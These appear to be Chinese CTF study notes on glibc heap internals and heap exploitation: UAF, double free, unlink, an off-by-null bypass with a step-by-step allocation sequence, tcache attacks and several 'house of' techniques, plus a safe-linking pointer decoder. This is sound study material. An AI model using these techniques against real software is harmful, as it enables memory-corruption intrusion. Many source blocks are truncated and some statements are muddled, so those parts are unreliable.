heap-all-in-one
参考文章
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/introduction/
https://www.cnblogs.com/ve1kcon/p/18071091
https://iyheart.github.io/2024/10/11/CTFblog/PWN%E7%B3%BB%E5%88%97blog/Linux_pwn/2.%E5%A0%86%E7%B3%BB%E5%88%97/PWN%E5%A0%86unlink/index.html
https://eastxuelian.nebuu.la/glibc/glibc-simple
https://www.roderickchan.cn/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/#21-house-of-spirit
https://zikh26.github.io/posts/501cca6.html
https://zp9080.github.io/post/%E5%A0%86%E6%9D%82%E8%AE%B0/%E9%AB%98%E7%89%88%E6%9C%ACoff-by-null/
https://blog.csdn.net/qq_41683953/article/details/136767925
http://124.220.191.5/2025/09/13/off-by-null/index.html
https://9anux.org/2024/08/06/house%20of%20water%20&%20TFCCTF%202024%20MCGUAVA/
https://zephyr369.online/houseofwater/
https://bbs.kanxue.com/thread-268245.htm
https://enllus1on.github.io/2024/01/22/new-read-write-primitive-in-glibc-2-38/#more%EF%BC%8C%E6%94%B9%E8%BF%9B%E5%90%8E%E5%B0%B1%E4%B8%8D%E9%9C%80%E8%A6%81wide_data%E4%BA%86
https://zp9080.github.io/post/%E5%A0%86%E6%94%BB%E5%87%BBio_file/house-of-apple1/
https://196082.github.io/2022/08/05/house-of-apple2/
https://www.cnblogs.com/mazhatter/p/18475601
https://blog.csome.cc/p/house-of-some/
https://nicholas-wei.github.io/2022/02/07/tcache-stashing-unlink-attack/
https://xz.aliyun.com/spa/#/news/5139
https://blog.csdn.net/qq_45323960/article/details/123810198?ops_request_misc=&request_id=&biz_id=102&utm_term=io_file&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-1-123810198.142^v102^pc_search_result_base8&spm=1018.2226.3001.4187
https://bbs.kanxue.com/thread-272098.htm
https://bbs.kanxue.com/thread-275968.htm
https://www.cameudis.com/2024/04/18/BlackHatMEA2023-House-of-Minho.html
堆的结构和管理
ptmalloc
brk
int brk(const void *addr)
参数为新的堆顶,返回值:成功返回0,否则为-1
sbrk
void* sbrk(intptr_t incr)
参数为堆增加的大小(可以是负数和零),返回新的堆顶的地址
mmap
void *mmap(void *addr, size_z length, int prot,int flags,int fd, off_t offset)
其中,参数的含义如下: - start:映射区的开始地址,通常设置为NULL,表示由系统确定地址。 - length:映射区的长度。 * prot:映射区的保护权限,可以是PROT_EXEC、PROT_READ、PROT_WRITE、PROT_NONE的组合。 - flags:影响映射区域的各种特性,如MAP_SHARED、MAP_PRIVATE、MAP_FIXED等。 - fd:要映射到内存中的文件描述符,通常由open函数返回。 - offset:文件映射的偏移量,通常设置为0。
成功返回被映射区的指针,失败时返回MAP_FAILED
munmap
int munmap(void *addr, size_t length)
参数start是mmap返回的地址,length是映射区的大小
成功执行时返回0,失败时返回-1
mmap()和brk()/sbrk()这两种不同方式申请的堆内存是互相独立的,各自管理不同的内存区域,使用mmap时并不会自动调整brk指针
chunk
struct malloc_chunk { |
下面我们来看 chunk 结构体,各个字段的具体的解释如下:
- prev_size, 如果该
chunk的 物理相邻的前一地址 chunk(两个指针的地址差值为前一 chunk 大小) 是空闲的话,那该字段记录的是前一个chunk的大小 (包括chunk头)。否则,该字段可以用来存储物理相邻的前一个 chunk 的数据。这里的前一chunk指的是较低地址的chunk - size ,该
chunk的大小,大小必须是MALLOC_ALIGNMENT的整数倍。如果申请的内存大小不是MALLOC_ALIGNMENT的整数倍,会被转换满足大小的最小的MALLOC_ALIGNMENT的倍数,这通过request2size()宏完成。32 位系统中,MALLOC_ALIGNMENT可能是4或8;64 位系统中,MALLOC_ALIGNMENT是8- 该字段的低三个比特位对
chunk的大小没有影响,它们从高到低分别表示 NON_MAIN_ARENA,记录当前chunk是否不属于主线程,1表示不属于,0表示属于IS_MAPPED,记录当前chunk是否是由mmap分配的,M=1为mmap映射区域分配,M=0为heap区域分配PREV_INUSE,记录前一个chunk块是否被分配- 一般来说,堆中第一个被分配的内存块的
size字段的P位都会被设置为1 - 当一个
chunk的size的P位为0时,我们能通过prev_size字段来获取上一个chunk的大小以及地址 p=1时,表示前一个chunk正在使用,prev_size无效
- 一般来说,堆中第一个被分配的内存块的
- 该字段的低三个比特位对
- fd,bk。
chunk处于分配状态时,从 fd 字段开始是用户的数据。chunk空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下fd指向下一个(非物理相邻)空闲的chunk。bk指向上一个(非物理相邻)空闲的chunk。- 通过
fd和bk可以将空闲的chunk块加入到空闲的chunk块链表进行统一管理。
- fd_nextsize, bk_nextsize,也是只有
chunk空闲的时候才使用,不过其用于较大的chunk(large chunk)fd_nextsize指向前一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针。bk_nextsize指向后一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针。- 一般空闲的
large chunk在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。
// 获取用户数据部分的指针 |
我们称前两个字段称为 chunk header,后面的部分称为 user data。每次 malloc 申请得到的内存指针,其实指向 user data 的起始处
top chunk
- 第一次使用
malloc时向系统申请内存放入top chunk中,此时av->top会指向top chunk的prev_size位,然后从top chunk中切割一块chunk - 再次使用
malloc时先判断bins中是否有符合要求的空闲堆,没有的话就从top chunk中切割一块,然后更新main_arena的top指针 - 如果申请的堆块大小大于
top chunk大小,top chunk与bins中空闲的chunk合并,并查看合并的top chunk是否满足要求 - 以上都不满足则通过系统调用申请额外内存,拓展到
top chunk中
bins
bin是一个由struct chunk结构体组成的链表,负责管理free chunk
typedef struct malloc_chunk* mchunkptr;
typedef struct malloc_chunk *mfastbinptr;
// 内存块结构定义
typedef struct malloc_chunk {
size_t prev_size; // 前一个块的大小
size_t size; // 当前块的大小
struct malloc_chunk* fd; // 前向指针
struct malloc_chunk* bk; // 后向指针
} mchunkptr;
// 分配器状态结构定义
typedef struct malloc_state {
mchunkptr* fastbinsY[10]; // fast bins数组,简化为10个大小
mchunkptr* unsorted_bin; // unsorted bin链表头
mchunkptr* smallbins[64]; // small bins数组,简化为64个大小
mchunkptr* largebins[64]; // large bins数组,简化为64个大小
// 其他管理信息
} mstate;
// 初始化malloc_state
void init_malloc_state(mstate* state) {
for (int i = 0; i < 10; ++i) {
state->fastbinsY[i] = NULL;
}
state->unsorted_bin = NULL;
for (int i = 0; i < 64; ++i) {
state->smallbins[i] = NULL;
state->largebins[i] = NULL;
}
}
fastbin
- 大小:
0x20~0x80(包括头) - 个数:
10条链 fastbins中chunk的size最后一位始终置1,这是为了防止fastbin中chunk的内存合并,以便快速分配- 是单向链表,使用fd连接,添加和移除都是对链表头操作,
LIFO(后进先出) - 在释放时只会对链表指针头部的
chunk进行校验,也就是说连续重复释放同一个chunk才会报错

unsortedbin
- 大小:无限制
- 个数:
1个链表 - 当用户释放的内存大于
max_fast或者fastbins合并后的chunk都会首先进入unsortedbin上 - 是双向链表,
FIFO(后进先出)
smallbin
- 大小:小于
0x400 - 个数:
62个 - 双向链表,
FIFO - 释放
small chunk时,先检查该chunk相邻的chunk是否为free,是的话就进行合并操作,合成成新的chunk,并从smallbin中移除,最后将新的chunk添加到unsortedbin中,之后unsortedbin进行整理后再添加到对应bin链上 - 放入
smallbin的条件- 符合大小范围
- 释放堆到
unsortedbin,再申请一个不在unsortedbin和smallbin中的堆,这样先前被放入unsortedbin的堆就会被放入smallbin smallbin被切割后,切割后的堆先被放入unsortedbin中,再申请一个堆,没有使unsortedbin中堆块被切割,那么unsortedbin中的堆就会被放入smallbin
| 下标 | 32位 | 64位 |
|---|---|---|
| 2 | 16 | 32 |
| 3 | 24 | 48 |
| x | 8x | 16x |
| 63 | 504 | 1008 |

largebin
- 大小:大于
0x400 - 个数:
63个 - 使用
fd_nextsize,bk_nextsize连接 - 同一个
largebin中每个chunk的大小可以不一样 large chunk可以添加、删除在large bin的任何一个位置- 同一个
largebin中的所有chunk按照大小进行从大到小的排列:最大的chunk放在一个链表的链头,最小的chunk放在链尾;相同大小的chunk按照最近使用顺序排序 - 对比链表链头
chunk的size,如果足够大,就从链尾开始遍历该large bin,找到第一个size相等或接近的chunk进行分配,如果该chunk大于用户请求的size的话,就将该chunk拆分为两个chunk:前者进行分配并且size等同于用户请求的size;剩余的部分做为一个新的chunk添加到unsorted bin中 - 如果该
large bin中最大的chunk的size小于用户请求的size的话,那么就通过binmap找到了下一个非空的large bin的话,按照上一段中的方法分配chunk,无法找到则使用top chunk来分配合适的内存 free操作类似于smallbin
| 组 | 数量 | 公差 |
|---|---|---|
| 1 | 32 | 64 |
| 2 | 16 | 512 |
| 3 | 8 | 4096 |
| 4 | 4 | 32768 |
| 5 | 2 | 262144 |
| 6 | 1 | 不限制 |
tcache
类似
fastbin,LIFO,头插法第一次 malloc 时,会先 malloc 一块内存用来存放
tcache_perthread_struct。free内存,且size小于small bin size时tcache之前会放到fastbin或者unsorted bin中tcache后:- 先放到对应的
tcache中,直到被填满(默认是 7 个) - 填满之后放到
fastbin或者unsorted bin中 tcache中的chunk不会合并(不取消inuse bit
- 先放到对应的
malloc内存,且size在tcache范围内- 先从
tcache取chunk,直到tcache为空,再从bin中找 tcache为空时,如果fastbin/smallbin/unsorted bin中有size符合的chunk,会先把fastbin/smallbin/unsorted bin中的chunk放到tcache中,直到填满。之后再从tcache中取;因此chunk在bin中和tcache中的顺序会反过来

- 先从
tcache指向的直接是用户地址,而不是之前bin指向的是header的地址对于
tcache,glibc会在第一次申请堆块的时候创建一个tcache_perthread_struct的数据结构,同样存放在堆上/* 每个线程都有一个这个数据结构,所以他才叫"perthread"。保持一个较小的整体大小是比较重要的。 */
// TCACHE_MAX_BINS的大小默认为64
// 在glibc2.26-glibc2.29中,counts的大小为1个字节,因此tcache_perthread_struct的大小为1*64 + 8*64 = 0x250(with header)
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
//在glibc2.29及以上版本中加入了key,在2.33及以下是使用tcache_perthread_struct的地址,在2.34及以上是使用随机值,可以使用p/x tcache_key检验,放入tcache中会增添key,取出tcache会置空key
typedef struct tcache_entry
{
struct tcache_entry *next;
struct tcache_perthread_struct *key;
}tcache_entry;
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS]
} tcache_perthread_struct;
// 在glibc2.30及以上版本中,counts的大小为2个字节,因此tcache_perthread_struct的大小为2*64 + 8*64 = 0x290(with header)
typedef struct tcache_entry
{
struct tcache_entry *next;
struct tcache_perthread_struct *key;
}tcache_entry;
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS]
} tcache_perthread_struct;
//在2.32版本,ptmalloc引入了PROTECT_PTR,即保护指针的概念,其指针是被异或加密的,如果对系统的堆地址一无所知,将无法正确解读泄露的指针的真实值
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache_key;
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. Removes chunk from the middle of the
list. */
static __always_inline void *
tcache_get_n (size_t tc_idx, tcache_entry **ep)
{
tcache_entry *e;
if (ep == &(tcache->entries[tc_idx]))
e = *ep;
else
e = REVEAL_PTR (*ep);
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
if (ep == &(tcache->entries[tc_idx]))
*ep = REVEAL_PTR (e->next);
else
*ep = PROTECT_PTR (ep, REVEAL_PTR (e->next));
--(tcache->counts[tc_idx]);
e->key = 0;
return (void *) e;
}
在新的entry被put到tcache的时候,其fd将会与0异或,换言之,没有被加密,利用这一点,可以轻松泄露heap地址
how2heap展示的解第二个free的tcache的fd指针 long decrypt(long cipher)
{
puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,");
puts("because of the 12bit sliding.");
puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)");
long key = 0;
long plain;
for(int i=1; i<6; i++) {
int bits = 64-12*i;
if(bits < 0) bits = 0;
plain = ((cipher ^ key) >> bits) << bits;
key = plain >> 12;
printf("round %d:\n", i);
printf("key: %#016lx\n", key);
printf("plain: %#016lx\n", plain);
printf("cipher: %#016lx\n\n", cipher);
}
return plain;
}
写成python def decrypt(cipher):
key = 0
plain = 0
for i in range(1, 6):
bits = 64 - 12 * i
if bits < 0:
bits = 0
plain = ((cipher ^ key) >> bits) << bits
key = plain >> 12
#print(f"round {i}:")
#print(f"key: 0x{key:016x}")
#print(f"plain: 0x{plain:016x}")
#print(f"cipher: 0x{cipher:016x}\n")
return plain
if __name__ == "__main__":
b = 0x55500000c7f9
plaintext = decrypt(b)
print(f"recovered value: 0x{plaintext:016x}")
#recovered value: 0x00005555555592a0
堆的初始化和管理流程
malloc
第一次调用
malloc申请堆空间:首先会跟着hook指针进入malloc_hook_ini()函数里面进行对ptmalloc的初始化工作,并置空hook,再调用ptmalloc_init()和__libc_malloc()再次调用
malloc申请堆空间:malloc()->__libc_malloc()->_int_malloc()checked_request2size将请求内存大小转换为实际大小先尝试从
fastbins中分配出去(0x80)再尝试从
smallbins中分配出去(0x400)smallbins还没有初始化则进行malloc_consolidate- 若
malloc_state的fastbin为空,则对整个malloc_state初始化 malloc_init_state(av)先初始化除fastbin以外的所有的bins初始化,在初始化fastbin
- 若
进行
malloc_consolidate,将fastbins中的chunk转移到unsortedbin中- 没有初始化
ptmalloc则初始化ptmalloc - 当前
chunk的prev_inuse位为0就会进行后向合并 - 当前
chunk的相邻高地址chunk是空闲的则进行前向合并 - 当前
chunk的下一个chunk如果不为top chunk,则将chunk放入unsortedbin头- 如果为
largebin则将fd_nextsize和bk_nextsize置为NULL
- 如果为
- 当前
chunk的下一个chunk如果为top chunk,则将当前chunk合并入top chunk - 遍历完每一条
fastbins的bin链
- 没有初始化
遍历
unsortedbin中的chunk- 如果
unsortedbin只有一个chunk,并且这个chunk在上次分配时被使用过,并且所需分配的chunk大小属于smallbins,且chunk的大小大于等于需要分配的大小,这种情况下就直接将该chunk进行切割,剩下的部分继续留在unsortedbin里 - 否则会从后往前一直整理这些
chunk,根据chunk的空间大小将其放入所属smallbin链或是largebin链中,一直整理直到遇到chunk_size = nb的 chunk,或者说整理到 bin 链为空unsortedbin链里有多个chunk的情况时,chunk不是直接在unsortedbin里面被切割的- 如果是只有一个的话就是直接切割
- 如果
遍历
smallbins和largebins,按照smallest-first,best-fit原则,找一个合适的chunk,从中划分一块所需大小的chunk,并将剩下的部分链入到unsortedbin中尝试从
top chunk中分配所需chunk还没能分配成功的话就到
sbrk,mmap了
free
- 检查
free_hook是否为空,不为空则执行这个函数指针指向的函数,执行后返回 - 检查被
free的addr是否为0,为零直接返回 - 修改
addr指向chunk头 - 检查是否由
mmap分配,是则单独处理,调用munmap_chunk()释放内存 - 获取该
chunk的arena调用_int_free传入arena_ptr,chunk_addr,0(一个锁) - 检查是否能被链入
fastbin - 进行一系列检查
- 先获得分配区的锁
free的chunk不能是top chunkfree的chunk是通过sbrk()分配的,且下一个相邻的chunk地址不能超过了top chunkfree的chunk的下一个相邻的chunk的size的标志位要标志当前free chunk处于inusefree的chunk的下一个相邻chunk的大小,该大小要大于等于2*SIZE_SZ并且小于分配区所分配区的内存总量
- 判断是链入
fastbin还是与top_chunk合并 chunk覆盖垃圾数据,将chunk链入fastbin,double free检查等- 检查前一个堆是否空闲,空闲的话前向合并
- 检查后一个堆是否为
top chunk,是否空闲,空闲的话后向合并 - 合并的堆块如果和
top chunk相连则直接合并,否则放入unsortedbin中并进行检查 - 进行
malloc_consolidate - 进行一系列操作
- 如果合并后的
chunk大小大于0x10000,并且fastbins存在空闲chunk,调用malloc_consolidate top chunk大小大于heap收缩阈值,则收缩- 获得了分配区的锁则对分配区解锁
- 如果合并后的
- 大块内存单独处理
unlink
- 使用场景:
malloclarge bin- 遍历
unsortedbin - 从比请求的
chunk所在的bin大的bin中取chunk
free- 后向合并(合并物理相邻低地址空闲
chunk) - 前向合并(除了
top chunk)
- 后向合并(合并物理相邻低地址空闲
malloc_consolidate- 同
free
- 同
realloc- 前向拓展(除了
top chunk)
- 前向拓展(除了

malloc_consolidate
- 触发点:
_int_malloc_:一个size在smallbin、largebin的chunk正在被分配,或没有适合的bins被寻找重新申请回去并且top chunk太小了不能满足malloc的申请_int_free:如果这个chunk不小于FASTBIN_CONSOLIDATION_THRESHOLD (65536)malloc_trim:总是调用_int_mallnfomallopt:总是调用
_int_malloc_(large size)fastbin中堆与top chunk相邻fastbin中堆不与top chunk相邻- 合并
fastbin中物理相邻的堆块(不同大小也可以) ### malloc_state
main arena 的 malloc_state 并不是 heap segment 的一部分,而是一个全局变量,存储在 libc.so 的数据段
struct malloc_state { |
*heap_info
|
源代码
__libc_malloc
void * |
__malloc_hook
__malloc_hook 指向 malloc_hook_ini,该函数为 ptmalloc 的初始化函数。主要用于初始化全局状态机和 chunk 的数据结构,首先来看看 malloc_hook_ini 函数 /**
* 初始化。
*/
static void *
malloc_hook_ini (size_t sz, const void *caller){
//先将 malloc_hook 的值设置为 NULL,然后调用 ptmalloc_init 函数,最后又回调了 libc_malloc 函数。
__malloc_hook = NULL;
ptmalloc_init ();
return __libc_malloc (sz);
}static void *
_int_malloc(mstate av, size_t bytes)
{
INTERNAL_SIZE_T nb; /* 符合要求的请求大小 */
unsigned int idx; /* 相关的bin指数 */
mbinptr bin; /* 相关的bin */
mchunkptr victim; /* 检查/选择的块 */
INTERNAL_SIZE_T size; /* its size */
int victim_index; /* its bin index */
mchunkptr remainder; /* 被分割的剩余部分 */
unsigned long remainder_size; /* its size */
unsigned int block; /* bit map traverser */
unsigned int bit; /* bit map traverser */
unsigned int map; /* current word of binmap */
mchunkptr fwd; /* misc temp for linking */
mchunkptr bck; /* misc temp for linking */
const char *errstr = NULL;
/*
Convert request size to internal form by adding SIZE_SZ bytes
overhead plus possibly more to obtain necessary alignment and/or
to obtain a size of at least MINSIZE, the smallest allocatable
size. Also, checked_request2size traps (returning 0) request sizes
that are so large that they wrap around zero when padded and
aligned.
*/
checked_request2size(bytes, nb);
/* |
/* |
tcache
if (in_smallbin_range (nb)) |
/* |
/* |
/* |
/* |
use_top: |
top chunk
use_top: |
malloc_consolidate
static void malloc_consolidate(mstate av) |
__libc_free
void __libc_free(void *mem) |
_int_free
static void |
|
|
/* consolidate backward */ |
/* |
/* |
unlink
/* Take a chunk off a bin list */ |
attack
UAF
- 漏洞:
free(*ptr)后没有ptr=NULLfree(chunk)
edit(chunk->fd = target_addr)
target[0] = 0
target[1] = fake_size
malloc(chunk)
malloc(target)
double free
- 漏洞:
UAF - 可利用:
fastbin、tcache#这里free(chunk1)是指释放chunk1,只是为了方便表达
free(chunk1)
free(chunk2)
free(chunk1)
malloc(chunk1)
edit(chunk1->fd = target_addr)
malloc(chunk2)
malloc(chunk1)
malloc(chunk3)(malloc(target),这样就实现了任意地址写)
unlink
- 漏洞:
off by ...、堆溢出 - **可利用:
unsortedbinmalloc(chunk1)
malloc(chunk2)
edit(chunk1->fd = 0)
edit(chunk1->bk = chunk_size-0x10)
edit(chunk1->bk+0x8 = chunk1_ptr_addr-0x18)
edit(chunk1->bk+0x10 = chunk1_ptr_addr-0x10)
edit(chunk2->prev_size = chunk_size-0x11)
edit(chunk2->size = chunk_size-0x1)
free(chunk2)
#pre_chunk1->bk+0x8 = chunk1->bk+0x10 = main_arena+...
#chunk1->chunk1_ptr_addr-0x18
edit(chunk1_ptr_addr = got) #leak libc
...
Off by …
heap overlap
#chunk1,chunk2,chunk3 all allocated |
#chunk2 free ; chunk3 allocated |
#chunk1,chunk2,chunk3 all allocated |
#chunk0,chunk1,chunk2,chunk3 all allocated |
- 现在有 Chunk_0、Chunk_1、Chunk_2、Chunk_3。
- 释放 Chunk_0 ,此时将会在 Chunk_1 的 prev_size 域留下 Chunk_0 的大小
- 在 Chunk_1 处触发Off-by-null,篡改 Chunk_2 的 prev_size 域以及 prev_inuse位
- Glibc 通过 Chunk_2 的 prev_size 域找到空闲的 Chunk_0
- 将 Chunk_0 进行 Unlink 操作,通过 Chunk_0 的 size 域找到 nextchunk 就是 Chunk_1 ,检查 Chunk_0 的 size 与 Chunk_1 的 prev_size 是否相等。
- 由于第二步中已经在 Chunk_1 的 prev_size 域留下了 Chunk_0 的大小,因此,检查通过。
2.29
新增的保护 if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
新的构造绕过 add(0,0x418,b'a')
add(1,0x108,b'a')
add(2,0x438,b'a')
add(3,0x438,b'a')
add(4,0x108,b'a')
add(5,0x488,b'a')
add(6,0x428,b'a')
add(7,0x108,b'a')
delete(0)
delete(3)
delete(6)
delete(2)
add(2,0x458,b'\x00'*0x438+b'\x51\x05')
add(3,0x418,b'a')
add(0,0x418,b'0'*0x100)
add(6,0x428,b'a')
delete(0)
delete(3)
add(0,0x418,b'\x00'*8)
delete(6)
delete(5)
add(5,0x4f8,b'\x00'*0x488+p64(0x431))
add(6,0x3b8,b'a')
add(3,0x418,b'a')
delete(4)
add(4,0x108,b'\x00'*0x100+p64(0x550))
delete(5)
下面演示一下,执行到delete(6) pwndbg> parseheap
addr prev size status fd bk
0x61107b3f7000 0x0 0x290 Used None None
0x61107b3f7290 0x0 0x420 Freed 0x73ccc601ace0 0x61107b3f7c00
0x61107b3f76b0 0x420 0x110 Used None None
0x61107b3f77c0 0x0 0x440 Used None None
0x61107b3f7c00 0x0 0x440 Freed 0x61107b3f7290 0x61107b3f85e0
0x61107b3f8040 0x440 0x110 Used None None
0x61107b3f8150 0x0 0x490 Used None None
0x61107b3f85e0 0x0 0x430 Freed 0x61107b3f7c00 0x73ccc601ace0
0x61107b3f8a10 0x430 0x110 Used None Nonedelete(2)造成合并
pwndbg> parseheap |
将原来的2号扩展0x20,将原来三号的头保护起来,成为新的2号,而原来的3号缩小了0x20
pwndbg> parseheap |
保护的fd、bk指向0号和6号,另外把chunk的大小改为chunk3_size+chunk4_size
pwndbg> tele 0x61107b3f7c00 |
接着可以把其他的堆块全申请回来,这里原来的3号prev_size地址一定是以\x00结尾,这样我们就可以利用off-by-null让他从指向新的3号到指向旧的3号
pwndbg> parseheap |
接着我们构造0号bk指针指向原来的3号地址
pwndbg> parseheap |
off-by-null前
pwndbg> tele 0x61107b3f7290 |
off-by-null后
00:0000│ 0x61107b3f7290 ◂— 0 |
bk指向了原来的3号
pwndbg> tele 0x61107b3f7c00 |
接着修改6号的fd指向原来的3号
先free掉块合并
pwndbg> parseheap |
off-by-null前
pwndbg> tele 0x61107b3f8150+0x490 |
off-by-null后 pwndbg> tele 0x61107b3f8150+0x490
00:0000│ 0x61107b3f85e0 ◂— 0
01:0008│ 0x61107b3f85e8 ◂— 0x431
02:0010│ 0x61107b3f85f0 —▸ 0x61107b3f7c00 ◂— 0
03:0018│ 0x61107b3f85f8 —▸ 0x73ccc601ace0 (main_arena+96) —▸ 0x61107b3f8b20 ◂— 0
04:0020│ 0x61107b3f8600 ◂— 0
... ↓ 3 skipped
pwndbg> parseheap |
fd成功指向旧的3号,这样我们就已经构造完了
pwndbg> x/6gx 0x61107b3f7290 |
接着让4可以实现UAF,off-by-null修改5号的prev_inuse,并且使prev_size改为3号和4号的大小和,再free掉5,这样旧的3号、4号、5号就会合并成一个大free块,但是4号还可以使用
off-by-null前
pwndbg> parseheap |
off-by-null后
pwndbg> tele 0x61107b3f8150 |
堆状态
pwndbg> parseheap |
最后一步,把5号delete,由于prev_inuse为0,所以找prev_size定位到原来的3号头,通过fd、bk指针找到0号和6号,而0号的bk指向原来的3号,6号的fd指向原来的3号,而新增的检查
pwndbg> tele 0x61107b3f7c00 |
满足,于是delete5号合并
pwndbg> parseheap |
unsortedbin attack
decrypt_safe_linking
以free函数为例子,在2.32glibc中在释放chunk时不是直接把fd值放入p->fd中。而是经过PROTECT_PTR或REVEAL_PTR处理。PROTECT_PTR和 REVEAL_PTR在宏定义中定义: /* Safe-Linking:
Use randomness from ASLR (mmap_base) to protect single-linked lists
of Fast-Bins and TCache. That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe-Unlinking in the double-linked lists of Small-Bins.
It assumes a minimum page size of 4096 bytes (12 bits). Systems with
larger pages provide less entropy, although the pointer mangling
still works. */
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
tcache stashing unlink attack
- 效果:类似
unsortedbin attack在任意地址写入一个libc地址,任意地址分配 - 版本:带
tcache的版本 - 原理:如果我们需要的
chunk位于了smallbin里面,当我们将chunk从smallbin拿出来的时候,还会去检查当前smallbin链上是否还有剩余堆块,如果有的话并且tcachebin的链上还有空余位置并且tcache bin不能为空,就会将剩余的那个堆块给链入到tcachebin中。而将small bin中的堆块链入到tcache bin中的时候没有进行双向链表完整性的检查,此时攻击那个即将链入tcachebin的堆块的bk指针,即可向任意地址写入一个libc地址 - 前提:
- 用
calloc分配堆块 - 可以控制
smallbin中的bk指针 smallbin中最少要有两个堆块
- 用
- 攻击步骤(方式1)
- 先进行堆地址的泄露
- 然后将
tcachebin中只留6个堆块,这样smallbin链入tcachebin后,tcachebin就会直接装满,防止程序继续通过我们篡改的bk指针继续往下遍历 - 再做出至少两个位于
smallbin中的chunk(可以通过切割unsorted bin的方式,让剩余部分的堆块进入small bin或者当遍历unsorted bin的时候,会给堆块分类,让其小堆块进入small bin中) - 利用溢出或
UAF+edit等手段,篡改位于smallbin中的链表头堆块的bk指针为target_addr-0x10 - 注意伪造bk的时候一定不能破坏fd指针
- 最后我们申请一个位于
smallbin那条链对应size中的chunk,将smallbin中的链表尾堆块申请出来,而smallbin链中的链表头堆块则进入tcachebin,在链入tcachebin的期间触发了tcache stashing unlink attack
- 攻击步骤(方式2)
- 先进行堆地址的泄露
- 然后将
tcachebin中只留5个堆块 - 再做出至少两个位于
smallbin中的chunk - 利用溢出或
UAF+edit等手段,篡改位于smallbin中的链表头堆块的bk指针为我们想要申请的地址附近fake_chunk_addr-0x10,再修改fake_chunk_bk=target_addr-0x10 - 注意伪造bk的时候一定不能破坏fd指针
- 最后我们申请一个位于
smallbin那条链对应size中的chunk,在链入tcachebin的期间触发了tcache stashing unlink attack,得到了一个堆块的分配和一个任意地址写libc
largebin attack
tcache poisoning
修改放入tcachebin的attack chunk的fd指针指向想要控制的地址,申请与attack chunk大小相同的chunk即可申请到想要的地址 高版本使用了异或加密,所以我们写入的也要加密
house of spirit
- 版本:2.23~
- 目的:获得某块内存的任意写
- 利用方式:在某块内存伪造
chunk,将本来不是chunk的这块内存被free到bins里,再次malloc后就实现了任意写 - 伪造结构:
fake_chunkprev_size无要求sizeN->0M->0P->0prev_size的最低位地址满足16字节对齐(64位)size<0x80size满足16字节对齐(64位)
fd、bk、data无要求
next_chunkprev_size无要求size<128KBsize满足16字节对齐(64位)
- 利用前提
- 能通过溢出控制要
free的地址
- 能通过溢出控制要
- 注意事项
- 注意题目中的计数器
- 如果有多个地方可以伪造,注意伪造到哪个地方对后续有用。
- 注意伪造堆块的
size位和next_size位。 - 还要注意程序逻辑,如果当程序释放完
fake_chunk后还要再继续释放,可能就会出现问题,这时就要在fake_chunk中写入适当的数据,绕过程序逻辑
house of Einherjar
- 版本:2.23~
- 目的:获得某块内存的任意写
- 利用方式:在某块内存伪造
chunk,利用off-by-one使堆块后向合并,将指针更新为指向fake chunk,再次malloc后就实现了在fake chunk任意写 - 伪造结构:
fake_chunkprev_size = chunk1_sizesizeN->0M->0P->0prev_size的最低位地址满足16字节对齐(64位)size = chunk1_size
fd、bk、fd_nextsize、bk_nextsize = fake_chunk_prev_size_addr
chunk0chunk1prev_size = chunk1_addr-fake_chunk_addrN->0M->0P->0size是0x100整数倍(size=0也被允许)
- 利用前提
off-by-one、off-by-null- 能获得堆地址和
fake chunk地址
house of force
- 版本:2.23~2.29
- 目的:获得某块内存的任意写
- 利用方式:修改
top chunk的size极大,申请一个可能极大的堆(从堆地址一直到要修改的地址),将top chunk指针更新为指向target,再次malloc后就实现了在target任意写 - 攻击方式:
- 通过溢出修改
top chunk的size位为-1 - 申请一个特定大小的堆(可以是负数)
req=dest - old_top_prev_size_addr - 4*sizeof(long)
- 再次申请即可实现某块特定内存的任意写
- 通过溢出修改
- 利用前提
- 堆溢出修改
top chunk的size - 能获得堆地址和目的地址
- 堆溢出修改
house of lore
版本:2.23~2.31
目的:获得某块内存的任意写
利用方式:在某块内存伪造
chunk和辅助chunk,利用UAF修改smallbin的bk指针,使fake_chunk链入smallbin,malloc smallbin后再次malloc后就实现了在fake chunk任意写伪造结构:
fake_chunk_1fd = small_chunk_1_prev_size_addrbk = fake_chunk_2_prev_size_addr
fake_chunk2fd = fake_chunk_1_prev_size_addr
具体实现:
- 申请一个
smallbin范围堆块(victim),伪造fake_chunk_1、fake_chunk_2 - 释放
victim,申请一个更大的堆块,再修改victim->bk为fake_chunk_1_prev_size_addr - 再申请一个与
victim同样大小的堆,将fake_chunk链入smallbin,触发(smallbin->bk = victim->bk=stack_buffer1_addr) - 再申请一个与
victim同样大小的堆,即可得到fake_chunk_1
- 申请一个
利用前提
UAF- 能获得堆地址甚至需要其他地址
Step 1
Step 2
Step 3
Step 4
house of orange
- 版本:2.23~2.26
